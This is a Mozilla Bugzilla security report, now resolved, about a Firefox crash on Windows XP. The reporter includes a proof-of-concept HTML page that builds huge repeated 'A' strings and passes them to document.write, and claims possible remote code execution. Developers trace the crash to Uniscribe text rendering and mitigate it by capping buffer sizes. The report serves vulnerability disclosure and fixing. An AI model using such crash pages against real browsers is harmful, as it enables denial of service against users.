in dll mozcrt19_free mov eax [ecx+ebx*4], if a large buffer is created using var buf ="AAAAAAAAAAAAAAAAAAAAA" then buf+=buf 23 times firefox will crash and allow possable remote code excution

RESOLVED FIXED

Status

()

P1
critical
RESOLVED FIXED
10 years ago
3 years ago

People

(Reporter: andrewhaynes, Assigned: jtd)

Tracking

unspecified
x86
Windows XP
Points:
---
Bug Flags:
wanted1.9.0.x +

Firefox Tracking Flags

(blocking2.0 final+, status1.9.1 wanted)

Details

(Whiteboard: [sg:vector (Uniscribe)] need mitigation)

Attachments

(2 attachments)

(Reporter)

Description

10 years ago
User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Build Identifier: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10

<html>
<script>  

var buf ="AAAAAAAAAAAAAAAAAAAAA";	  
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf;
buf +=buf; 
buf +=buf;   
buf +=buf;
buf +=buf;
buf +=buf;
var sec ="AAAAAAAAAAAAAAAAAAAAA";
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
sec+=sec;
var third="AAAAAAAAAAAAAAAAAAAAA";
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
third+=third;
var four ="AAAAAAAAAAAAAAAAAAAAA";
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
four+= four;
var five ="AAAAAAAAAAAAAAAAAAAAA";
five+=five;
five+=five;
five+=five;
five+=five;
five+=five;
five+=five;
five+=five;
five+=five;
var six ="AAAAAAAAAAAAAAAAAAAAA";
six+=six;
six+=six;
six+=six;
six+=six;
six+=six;
six+=six;
six+=six;
var seven ="AAAAAAAAAAAAAAAAAAAAA";
seven+=seven;
seven+=seven;
var nine ="AAAAAAAAAAAAAAAAAAAAA";
nine += nine;

document.write(buf+sec+third+four+five+six+seven+nine+"AAAAA");

</script>

</html>

you can control ecx and edx with the vaules above "A"


Reproducible: Sometimes

Steps to Reproduce:
1.produce a buffer of size 21,to the power of 23
2. use document.write(buf)
3.values of buf change eip address, possable dos looking for address fa******, with value "a"
Actual Results:  
it displayed a error saying firefox is going to close

Expected Results:  
free the buf like what it would do if you enter alot more "A", which doesn't crash

mozcrt19_free and xull.dll 6052065b
(Reporter)

Comment 1

10 years ago
Created attachment 386667 [details]
code to crash
Moving this over to the JS guys for investigation since the crash is in script.  Andrew - do you get a crash stack, and/or have you sent any crash reports using our automated tool?
Assignee: nobody → general
Component: General → JavaScript Engine
Product: Firefox → Core
QA Contact: general → general
(Reporter)

Comment 3

10 years ago
(In reply to comment #1)
> Created an attachment (id=386667) [details]
> code to crash
orignal code: add alert(buf); before document.write

Comment 4

10 years ago
code works in shell

Comment 5

10 years ago
Confirmed in the browser. I agree this is likely exploitable. I will catch a stack with a fresh debug build.
Flags: blocking1.9.1.1?
Priority: -- → P1

Comment 6

10 years ago
Actually I take that back. It "just" locks up the browser for a very long time and I killed it prematurely. I will try to find out why the script dialog didn't come up.
Flags: blocking1.9.1.1?

Comment 7

10 years ago
(I am not on windows, testing with mac, btw)
Severity: critical → major

Comment 8

10 years ago
Ok, with the alert from #3 we definitively have a problem of some sort. I get a crazy mis-formed dialog box on mac that doesn't have any visible buttons. No crash though. This probably could be abused in pretty annoying ways. We should have a limit on the maximum length for that. Maybe windows blows up with such overlong strings in dialog boxes?
(Reporter)

Comment 9

10 years ago
(In reply to comment #2)
> Moving this over to the JS guys for investigation since the crash is in script.
>  Andrew - do you get a crash stack, and/or have you sent any crash reports
> using our automated tool?

Yes, . Will send the report
(Reporter)

Comment 10

10 years ago
I remove abit of the code(didn't think you need it) but it doesn't crash with out it

replace the bottom of the code with

seven+=seven;
seven+=seven;
var nine ="AAAAAAAAAAAAAAAAAAAAA";
nine += nine;

alert(buf);

document.write(buf+sec+third+four+five+six+seven+nine+"AAAAA");

</script>

</html>

Comment 11

10 years ago
I can't reproduce the crash. The long delay is in document.write, not alert, but the alert box is very funky. I think content and UI should take a look at the bug. I don't see a crash with just the JS in the shell either. I think this is not a JS bug.

Reminder: testing with mac, not windows.

Updated

10 years ago
Assignee: general → general

Comment 12

10 years ago
Randomly guessing that general@gfx.bugs is the way to go here. Maybe someone wants to split out the funky alert() dialog part and throw the rest to DOM?
(Reporter)

Comment 13

10 years ago
The link to the debug pic

http://rapidshare.com/files/251663136/fire.bmp.html

Comment 14

10 years ago
Andrew, whats the exact version of the browser you are using?

Comment 15

10 years ago
Created attachment 386785 [details]
screen dump with crash
(Reporter)

Comment 16

10 years ago
firefox 3.0.10 winxp sp2

Comment 17

10 years ago
would you mind trying 3.5?
(Reporter)

Comment 18

10 years ago
(In reply to comment #17)
> would you mind trying 3.5?

still crashs
(Reporter)

Comment 19

10 years ago
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5

it still crash at the same point

Comment 20

10 years ago
Ok. Looks like a win32 only bug. Could you type "about:crashes" into the url bar and link the crash id you got for those crashes? Those should have symbols.
(Reporter)

Comment 21

10 years ago
(In reply to comment #20)
> Ok. Looks like a win32 only bug. Could you type "about:crashes" into the url
> bar and link the crash id you got for those crashes? Those should have symbols.

to get 3.5 to crash you need to have 22 A,s instead of 21
(Reporter)

Comment 22

10 years ago
(In reply to comment #21)
> (In reply to comment #20)
> > Ok. Looks like a win32 only bug. Could you type "about:crashes" into the url
> > bar and link the crash id you got for those crashes? Those should have symbols.
> 
> to get 3.5 to crash you need to have 22 A,s instead of 21

747ea3d2-79b3-4324-9203-0cec32090703	7/4/2009	1:29 PM
ceef1977-4b10-459a-b35b-272a62090703

Comment 23

10 years ago
Thanks andrew. Here are the links:

http://crash-stats.mozilla.com/report/index/747ea3d2-79b3-4324-9203-0cec32090703
http://crash-stats.mozilla.com/report/index/ceef1977-4b10-459a-b35b-272a62090703

We are crashing somewhere deep in USP10.dll, which seems to be some sort of Windows Unicode rendering api.

Comment 24

10 years ago
Confirming the bug based on the crash reports.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: blocking1.9.1.1?
(Reporter)

Comment 25

10 years ago
Just one more note, if you have 21 A,s and add another 5 A,s to the document.write, it crash at different place(if that helps)
roc, see stacks from comment 23; we're doing _something_ during Windows textrun construction that Uniscribe doesn't like....
Assignee: general → nobody
Component: JavaScript Engine → Layout: Text
QA Contact: general → layout.fonts-and-text
There's probably not much we can do directly to fix the crash (except drop Uniscribe for Harfbuzz!). But we could probably mitigate it by limiting the buffer sizes we pass to Uniscribe, the same way we limit the buffer sizes passed to ATSUI.
Not going to block 1.9.1.1, but we should look at this for both 1.9.0.x and 1.9.1.x.
Flags: wanted1.9.1.x?
Flags: wanted1.9.0.x?
Flags: blocking1.9.1.1?
Roc: who should implement comment 27?
Assignee: nobody → roc
status1.9.1: --- → wanted
Flags: wanted1.9.1.x?
Flags: wanted1.9.0.x?
Flags: wanted1.9.0.x+
Whiteboard: [sg:vector (Uniscribe)] need mitigation
Assignee: roc → jdaggett
(Assignee)

Updated

9 years ago
Severity: major → critical
(Assignee)

Updated

8 years ago
blocking2.0: --- → ?
Current trunk code implements protection against passing huge strings to the font-layout backends (as per comment 27), and 1.9.2 and 1.9.1 branches also have code in the Windows font backend that should prevent this. So I think it's probably fixed in all current releases, but we should re-test to check this.
Doesn't crash for me anymore.
Status: NEW → RESOLVED
Last Resolved: 8 years ago
Resolution: --- → FIXED

Updated

3 years ago
Group: core-security → core-security-release
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.